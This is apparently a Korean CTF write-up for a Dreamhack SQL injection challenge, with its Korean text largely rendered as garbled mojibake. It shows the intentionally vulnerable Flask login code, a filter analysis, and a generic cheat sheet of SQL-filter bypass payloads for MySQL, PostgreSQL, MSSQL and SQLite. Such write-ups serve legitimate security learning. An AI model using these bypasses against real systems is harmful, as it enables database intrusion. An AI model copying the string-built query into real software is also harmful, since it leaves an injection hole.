๐๏ธ Access
๋ก๊ทธ์ธ ์๋น์ค์ ๋๋ค.
SQL INJECTION ์ทจ์ฝ์ ์ ํตํด ํ๋๊ทธ๋ฅผ ํ๋ํ์ธ์!
๐พ Exploit Algorithm & Payload
> app.py
#!/usr/bin/env python3
from flask import Flask, request, render_template, make_response, redirect, url_for, session, g
import urllib
import os
import sqlite3
app = Flask(__name__)
app.secret_key = os.urandom(32)
from flask import _app_ctx_stack
DATABASE = 'users.db'
def get_db():
top = _app_ctx_stack.top
if not hasattr(top, 'sqlite_db'):
top.sqlite_db = sqlite3.connect(DATABASE)
return top.sqlite_db
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
@app.route('/')
def index():
return render_template('index.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
uid = request.form.get('uid', '').lower()
upw = request.form.get('upw', '').lower()
level = request.form.get('level', '9').lower()
sqli_filter = ['[', ']', ',', 'admin', 'select', '\'', '"', '\t', '\n', '\r', '\x08', '\x09', '\x00', '\x0b', '\x0d', ' ']
for x in sqli_filter:
if uid.find(x) != -1:
return 'No Hack!'
if upw.find(x) != -1:
return 'No Hack!'
if level.find(x) != -1:
return 'No Hack!'
with app.app_context():
conn = get_db()
query = f"SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};"
try:
req = conn.execute(query)
result = req.fetchone()
if result is not None:
uid = result[0]
if uid == 'admin':
return FLAG
except:
return 'Error!'
return 'Good!'
@app.teardown_appcontext
def close_connection(exception):
top = _app_ctx_stack.top
if hasattr(top, 'sqlite_db'):
top.sqlite_db.close()
if __name__ == '__main__':
os.system('rm -rf %s' % DATABASE)
with app.app_context():
conn = get_db()
conn.execute('CREATE TABLE users (uid text, upw text, level integer);')
conn.execute("INSERT INTO users VALUES ('dream','cometrue', 9);")
conn.commit()
app.run(host='0.0.0.0', port=8001)
#1
: '/' ์ธ๋ฑ์ค ํ์ด์ง์์๋ ๋ก๊ทธ์ธ ํ์ด์ง๋ก ์ด๋ํ ์ ์๋ ๊ธฐ๋ฅ์ด ์๋ค.
: '/login' ํ์ด์ง์์๋ ํผ์ ์ ๋ ฅํ์ฌ ์ ์ถํ๋ ๊ธฐ๋ฅ์ด ์๋ค.
: ์ฌ๊ธฐ์ ์ฝ๋๋ฅผ ๋ถ์ํ์ ๋, 'uid', 'upw', 'level'์ด ์๋ ๊ฒ์ ํ์ธํ๋๋ฐ ์ ์ก ํผ์ผ๋ก๋ level์ด ์ ๋ณด์ด๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
#2
: Burp Suite ๋๊ตฌ๋ฅผ ํ์ฉํ์ฌ Proxy๋ฅผ ์ก์๋ค. uid, upw์ level์ ์ ์ฉํด๋ ์ ๋์ํ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
#3
DATABASE = 'users.db'
...
try:
FLAG = open('./flag.txt', 'r').read()
-1
@app.route('/')
-2
@app.route('/login', methods=['GET', 'POST'])
-> POST ๋ฐฉ์์ผ๋ก ์ฌ์ฉ(GET์ ์ฌ์ฉ ์ login.html ํ
ํ๋ฆฟ์ ๋ ๋๋งํ์ฌ ๋ฐํํ๊ฒ ๋จ)
-> uid, upw ๊ฐ์ ๊ฐ์ ธ์ ์๋ฌธ์ ๋ณํ ํ, ์ด๋ฅผ ์ฌ์ฉํ์ฌ ๊ฐ ์ฒ๋ฆฌ. level์ ๊ธฐ๋ณธ 9๋ก ์ง์
uid = request.form.get('uid', '').lower()
upw = request.form.get('upw', '').lower()
level = request.form.get('level', '9').lower()
-> uid,upw,level ํํฐ๋ง ์์
์ด ๋์ด ์์
['[', ']', ',', 'admin', 'select', '\'', '"', '\t', '\n', '\r', '\x08', '\x09', '\x00', '\x0b', '\x0d', ' ']
'\t': ํญ ๋ฌธ์
'\n': ๋ด๋ผ์ธ(newline) ๋๋ ์ค๋ฐ๊ฟ ๋ฌธ์
'\r': ์บ๋ฆฌ์ง ๋ฆฌํด(carriage return) ๋ฌธ์ # ์ปค์๋ฅผ ํ์ฌ ์ค์ ์ฒ์์ผ๋ก ์ด๋์ํค๋ ์ญํ
'\x08': ๋ฐฑ์คํ์ด์ค ๋ฌธ์ # ์ปค์๋ฅผ ์ผ์ชฝ์ผ๋ก ํ ์นธ ์ด๋์ํค๊ณ ๊ทธ ์์น์ ๋ฌธ์๋ฅผ ์ญ์ ํ๋ ์ญํ ์ ํฉ๋๋ค.
'\x09': ์ํ ํญ ๋ฌธ์ # '\t'์ ๋์ผํ๊ฒ ์๋
'\x00': ๋(null) ๋ฌธ์ # ๋ฌธ์์ด์ ๋์ ํ์ํ๋ ์ญํ
'\x0b': ์์ง ํญ ๋ฌธ์ # ์ถ๋ ฅ ์ฅ์น์์ ์ปค์๋ฅผ ๋ค์ ์ค๋ก ์ด๋์ํค๋ ์ญํ
'\x0d': ์บ๋ฆฌ์ง ๋ฆฌํด ๋ฌธ์ # '\r'๊ณผ ๋์ผํ๊ฒ ์๋
' ': ๊ณต๋ฐฑ ๋ฌธ์ # ํ
์คํธ ์ฌ์ด์ ๊ฐ๊ฒฉ์ ์ฃผ๋ ์ญํ
-> query = f"SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};"
-> if result is not None:
uid = result[0]
if uid == 'admin':
return FLAG
: ์ฝ๋์์ ํ์ํ ๋ถ๋ถ๋ง ์์ฝํ๋ค.
: ํํฐ๋ง์์ ์ฃผ์์ ์๋ ๊ฒ์ ํ์ธํ๋ค.
: ์ถ๊ฐ๋ก level์ integerํ์ด๊ธฐ์ charํ๊ณผ ๋ฌ๋ฆฌ ์ฑ๊ธ์ฟผํฐ(')๋ก ๊ฐ์ธ์ ธ ์์ง ์๋ค.
๐Analysis and results for obtaining the Flag DH{…}
: ๋ค์๊ณผ ๊ฐ์ด sqlite์์ ๊ตฌ๋ฌธ ๊ฒ์ฌ ์ฐํ UNION VALUES(num)๊ณผ ๊ณต๋ฐฑ ์ฐํ๋ฅผ ์ด์ฉํ์ฌ FLAG๋ฅผ ํ๋ํ ์ ์๋ค.
[+] Additional Checks
-Bypass WAF-
→ ๋์๋ฌธ์ ๊ฒ์ฌ ๋ฏธํก
UnIoN SeLecT 1, 2, 3#
→ ํ์ง๊ณผ์ ๋ฏธํก
UNunionION SELselctCT 1, 2#
→ ๋ฌธ์์ด ๊ฒ์ฌ ๋ฏธํก
SELECT reverse('nimda'), concat('adm','in'), x'61646d696e', 0x61646d696e;
→ ์ฐ์ฐ์ ๊ฒ์ฌ ๋ฏธํก
select 1 || 1;
^, =, !=, %, /, *, &, &&, |, ||, >, <, XOR, DIV, LIKE, RLIKE, REGEXP, IS, IN, NOT, MATCH, AND, OR, BETWEEN, ISNULL ๋ฑ์ ์ฐ์ฐ์๋ฅผ ํ์ฉํ ์ ์์
→ ๊ณต๋ฐฑ ํ์ง
SELECT/**/'abc';
select`username`,(password)from`users`WHERE`username`='admin';
-MySQL Bypass-
→ ๋ฌธ์์ด ๊ฒ์ฌ ์ฐํ
select 0x6162, 0b11000010110010;
select char(0x61, 0x62);
select concat(char(0x61), char(0x62));
select mid(@@version,12,1);
→ ๊ณต๋ฐฑ ๊ฒ์ฌ ์ฐํ
select -> 1;
select/**/1;
→ ์ฃผ์ ๊ตฌ๋ฌธ ์คํ
/**/, //, --, #, ...
-PostgreSQL Bypass-
→ ๋ฌธ์์ด ๊ฒ์ฌ ์ฐํ
select chr(65);
select concat(chr(65), chr(66));
select substring(version(),23,1);
→ ๊ณต๋ฐฑ ๊ฒ์ฌ ์ฐํ
select 1;
select/**/1;
-MSSQL Bypass-
→ ๋ฌธ์์ด ๊ฒ์ฌ ์ฐํ
select char(0x61);
select concat(char(0x61), char(0x62));
select substring(@@version, 134, 1);
→ ๊ณต๋ฐฑ ๊ฒ์ฌ ์ฐํ
select 1;
select/**/1;
-SQLite Bypass-
→ ๋ฌธ์์ด ๊ฒ์ฌ ์ฐํ
select char(0x61);
select char(0x61)||char(0x62);
→ ๊ณต๋ฐฑ ๊ฒ์ฌ ์ฐํ
select/**/1;
→ ๊ตฌ๋ฌธ ๊ฒ์ฌ ์ฐํ
select 1 union values(2);
UNION VALUES(char(0x..), char(0x..), ...)
'[Dreamhack]WebHacking > Wargame&CTF' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] Level2: login-1 (2) | 2024.02.25 |
---|---|
[Dreamhack] CTF Season 5 Round #4 - BypassIF (1) | 2024.02.25 |
[Dreamhack] Level4: KeyCat (0) | 2024.02.23 |
[Dreamhack] Level1:Beginner blue-whale (1) | 2024.02.07 |
[Dreamhack] Level2: Dream Gallery (0) | 2024.02.03 |